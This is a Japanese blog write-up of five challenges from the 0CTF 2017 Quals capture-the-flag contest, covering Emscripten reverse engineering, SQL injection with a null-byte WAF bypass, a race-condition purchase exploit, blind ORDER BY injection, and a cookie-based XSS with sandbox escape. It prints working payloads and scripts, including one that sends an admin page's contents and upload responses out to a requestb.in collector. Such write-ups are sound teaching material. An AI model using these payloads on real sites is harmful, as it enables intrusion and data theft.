st98 の日記帳


[ctf] 0CTF 2017 Quals の write-up

チーム Harekaze で 0CTF 2017 Quals に参加しました。最終的にチームで 490 点を獲得し、順位は 84 位 (得点 908 チーム中) でした。うち、私は 5 問を解いて 490 点を入れました。

以下、解いた問題の write-up です。

[Misc] Welcome

IRC のチャンネルに入るとフラグが表示されました。

flag{Welcome_to_0CTF_2017}

[Web] KoG

与えられた URL を開いてソースを見ると、Emscripten で C++ から変換されたらしい functionn.js が読み込まれています。そのあと、?id=1 のように id パラメータがあれば Module.main(id) を呼び、その返り値を | で split した長さが 3 であれば API を叩いてその結果を表示するようです。

/?id=1 にアクセスしてみると /api.php?id=1&hash=30f151700cb7131d3a7bef6f8a1dd4f3&time=1489973568 を取りに行ってその内容を表示していました。試しに /api.php?id=2&hash=30f151700cb7131d3a7bef6f8a1dd4f3&time=1489973568 に書き換えてアクセスしてみると、hey boy と表示されました。

Module.main('1') を実行してみると 7ececbf0b14af2bd6dae1bc74f1286c2|1489974822|yo が返ってきました。Module.main('a') を実行してみると WrongBoy が返ってきました。いろいろ試してみましたが、すべての文字が数字でないとハッシュ値を返してくれないようです。

タイムスタンプを返しているということは、どこかで Date.now を呼んでいるはずです。Date.now = () => { debugger; return 0; }; でブレークポイントを仕掛けて Module.main('1') を実行してみると

Module.main
-> dynCall_iii_1
-> dynCall_iii
-> __ZN10emscripten8internal7InvokerINSt3__112basic_stringIcNS2_11char_traitsIcEENS2_9allocatorIcEEEEJS8_EE6invokeEPFS8_S8_EPNS0_11BindingTypeIS8_EUt_E
-> __Z10user_inputNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEE
-> _time
-> Date.now

というように Date.now が呼ばれていることが分かりました。

__Z10user_inputNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEE を見てみると、

  $31 = (($32) + ($i$0)|0);
  $33 = HEAP8[$31>>0]|0;
  $34 = ($33<<24>>24)>(47);
  if (!($34)) {
   label = 12;
   break;
  }
  $42 = ($41<<24>>24)<(58);
  $43 = (($i$0) + 1)|0;
  if ($42) {
   $i$0 = $43;
  } else {
   label = 12;
   break;
  }

と、文字が数字でなければそこで処理を中断するという部分があります。$34 $42 が true になるように書き換えて Module.main('a') を実行すると…結果は WrongBoy でした。

適当にブレークポイントを仕掛けながら Module.main('a') を実行してみると、どうやら

 $12 = (__Z4uiiiRKNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEE($inStr)|0);
 $13 = ($12|0)==(199401);
 if (!($13)) {
  // …
  STACKTOP = sp;return;
 }

という部分で return しているとわかりました。__Z4uiiiRKNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEE を見てみるとこちらも文字が数字であるかチェックしているようでした。

常に $13199401 になるように書き換えて Module.main('a') を実行してみると、0287057671f9df51356a6064cf29bc3a|0|yo が返ってきました。/api.php?id=a&hash=0287057671f9df51356a6064cf29bc3a&time=0 にアクセスしても hey boy は表示されません。やった!

あとは SQLi をするだけです。100 union select 1, group_concat(table_name, ":" , column_name) from information_schema.columns where table_schema=database()fl4g:hey,user:id,user:name が返ってきました。

100 union select 1, hey from fl4g でフラグが表示されました。

flag{emScripten_is_Cut3_right?}

[Web] simplesqlin

与えられた URL を開いてみると、シンプルなブログが出てきました。

?id=1 order by 3 が通り、明らかに SQLi ができます。が、id にselect from where のような文字列が含まれていると Your request is blocked by waf. という感じで弾かれてしまいます。

?id=100 union selec%00t 1, 2, 3 という感じで null 文字を挟んでみると WAF の回避ができ、タイトルに 2、本文に 3 が表示されました。

?id=100 union selec%00t 1, 2, group_concat(table_name, ":" , column_name) fro%00m information_schema.columns wher%00e table_schema=database()flag:flag,news:id,news:title,news:content が返ってきました。

あとは ?id=100 union selec%00t 1, 2, flag fro%00m flag でフラグが表示されました。

flag{W4f_bY_paSS_f0R_CI}

[Web] Temmo’s Tiny Shop

与えられた URL にアクセスすると、いろいろなものの売買ができるショッピングサイトが動いていました。

!HINT! を購入すればいいようですが、価格は 8000 で所持金は 4000 しかないので買えません。

#!/bin/bash
username="..."
password="..."
cookie1="PHPSESSID=sgilto2ldg2mma0anobeqdnkg1"
cookie2="PHPSESSID=sgilto2ldg2mma0anobeqdnkg2"
url="http://202.120.7.197/app.php"

curl "$url?action=login" -b $cookie1 -d "username=$username&pwd=$password" &\
curl "$url?action=login" -b $cookie2 -d "username=$username&pwd=$password"

curl "$url?action=buy&id=1" -b $cookie1

curl "$url?action=sale&id=1" -b $cookie1 &\
curl "$url?action=sale&id=1" -b $cookie2

を実行してみると価格が 4000 の Frostmourn を二重に売ることができました。これで所持金が 8000 になり !HINT! を購入できました。

infos を開くと購入したものの情報を見ることができ、

OK! Now I will give some hint: you can get flag by use select flag from ce63e444b0d049e9c899c9a0336b3c59

とありました。

/app.php?action=search&keyword=_&order=price にアクセスしてみると、購入したものの価格などの情報を価格順で表示できました。試しに order=1 に変えてみるとエラーなしに情報が表示されました。order by 句で SQLi ができそうです。

order=cot(0) だとエラーが発生し、order=cot(1) だとエラーは発生しませんでした。これを利用して order=cot(if((条件),1,0)) のようにすると、条件が成立したときにはエラーが発生せず、そうでない場合にはエラーが発生するというようにできます。

あとは

import requests
import sys

def check(s):
  if 'WAF' in s:
    raise Exception('WAF~><')
  if 'login plz' in s:
    raise Exception('login plz~><')
  return 'suc' in s

url = 'http://202.120.7.197/app.php?action=search&keyword=_&order=cot(if((%s)regexp(0x%s),1,0))'

print url % (sys.argv[1], sys.argv[2].encode('hex'))
print check(requests.get(url % (sys.argv[1], sys.argv[2].encode('hex')), cookies={
  'PHPSESSID': 'xxx'
}).content)

このようなスクリプトを書いて python2 s.py "select(substr(flag,4,1))from(ce63e444b0d049e9c899c9a0336b3c59)" "[a-z]" という感じでフラグ 1 文字ずつ特定できました。

flag{r4ce_c0nditi0n_i5_excited}

[Web] complicated xss

与えられた URL (government.vip) にアクセスすると、フラグは http://admin.government.vip:8000 にあるということでした。また、XSS の payload を投げるとそのまま踏んでくれるようでした。

admin.government.vip:8000 にアクセスしてみると、ログイン画面が表示されました。デフォルトのユーザ名 test とパスワード test でログインしてみると、Hello test Only admin can upload a shell が表示されました。

Cookie には session と username があり、username を hoge に変えてみると Hello hoge と表示されました。もしかしてこれで XSS ができるのではと username を <s>hoge</s> に変えてみると、Hello ~hoge~ という感じで斜線の入った hoge が表示されました。

<script>
document.cookie = 'session=(session id); domain=.government.vip; path=/';
document.cookie = 'username=(payload); domain=.government.vip; path=/';
</script>

という感じの payload を投げると admin.government.vip:8000 で XSS を踏ませることができそうです。

ソースを見てみると

<script>
//sandbox
delete window.Function;
delete window.eval;
delete window.alert;
delete window.XMLHttpRequest;
delete window.Proxy;
delete window.Image;
delete window.postMessage;
</script>

というように使えそうなものが消されてしまっています。が、Imagedocument.createElement('img') で代替でき、XMLHttpRequestiframe を使って

var frame = document.createElement('iframe');
document.body.appendChild(frame);
window.XMLHttpRequest = frame.contentWindow.XMLHttpRequest;

で元通りにできます。

これらを利用して

<script>
var payload = "document.createElement('img').src = 'http://requestb.in/xxxxxx?' + encodeURIComponent(document.body.innerHTML);";
document.cookie = "username=<img src=x onerror=\"''.constructor.constructor(atob('" + btoa(payload) + "'))()\">; domain=.government.vip; path=/";
document.cookie = "session=(session id); domain=.government.vip; path=/";
location.href = 'http://admin.government.vip:8000';
</script>

を payload として投げてみると

<h1>Hello ...</h1>
<p>Upload your shell</p>
<form action="/upload" method="post" enctype="multipart/form-data">
<p><input type="file" name="file"></p>
<p><input type="submit" value="upload"></p>
</form>

と返ってきました。

FormData と XMLHttpRequest で適当にファイルをアップロードさせて、返ってきたレスポンスを手に入れましょう。

solve.py

import hashlib
import re
import requests
import uuid

cookies = {
  'PHPSESSID': str(uuid.uuid4())
}
task = requests.get('http://government.vip/', cookies=cookies)
task = re.findall(r"'(.+)'", task.content)[0]
print '[!]', 'task:', task

payload = open('payload.html').read() % (
  'http://requestb.in/xxxxxx',
  r"new Blob(['hoge'], {type: 'text/plain'})",
  'hoge',
  '(session id)'
)

i = 0
while True:
  s = str(i)
  if hashlib.md5(s).hexdigest().startswith(task):
    print '[!]', 'found:', s
    print requests.post('http://government.vip/run.php', cookies=cookies, data={
      'task': s,
      'payload': payload
    }).content
    break
  i += 1

payload.html

<script>
var payload = "\
try {\
  function f(x) {\
    document.createElement('img').src = '%s?' + encodeURIComponent(x);\
  }\
  var data = new FormData();\
  var blob = %s;\
  data.append('file', blob, '%s');\
  var frame = document.createElement('iframe');\
  document.body.appendChild(frame);\
  window.XMLHttpRequest = frame.contentWindow.XMLHttpRequest;\
  var js = document.createElement('script');\
  js.onload = function () {\
    $.ajax({\
      url: '/upload',\
      data: data,\
      contentType: false,\
      processData: false,\
      type: 'POST',\
      success: function (data) {\
        f(data);\
      },\
      error: function (data) {\
        f('error:' + JSON.stringify(data));\
      }\
    });\
  };\
  js.src = '//code.jquery.com/jquery-3.2.0.js';\
  document.body.appendChild(js);\
} catch (e) {\
  f('error:' + e.message);\
}\
";

document.cookie = "username=<img src=x onerror=\"''.constructor.constructor(atob('" + btoa(payload) + "'))()\">; domain=.government.vip; path=/";
document.cookie = "session=%s; domain=.government.vip; path=/";
location.href = 'http://admin.government.vip:8000';
</script>

solve.py を実行するとフラグが手に入れられました。

flag{xss_is_fun_2333333}
このエントリーをはてなブックマークに追加
st98.github.io / st98 の日記帳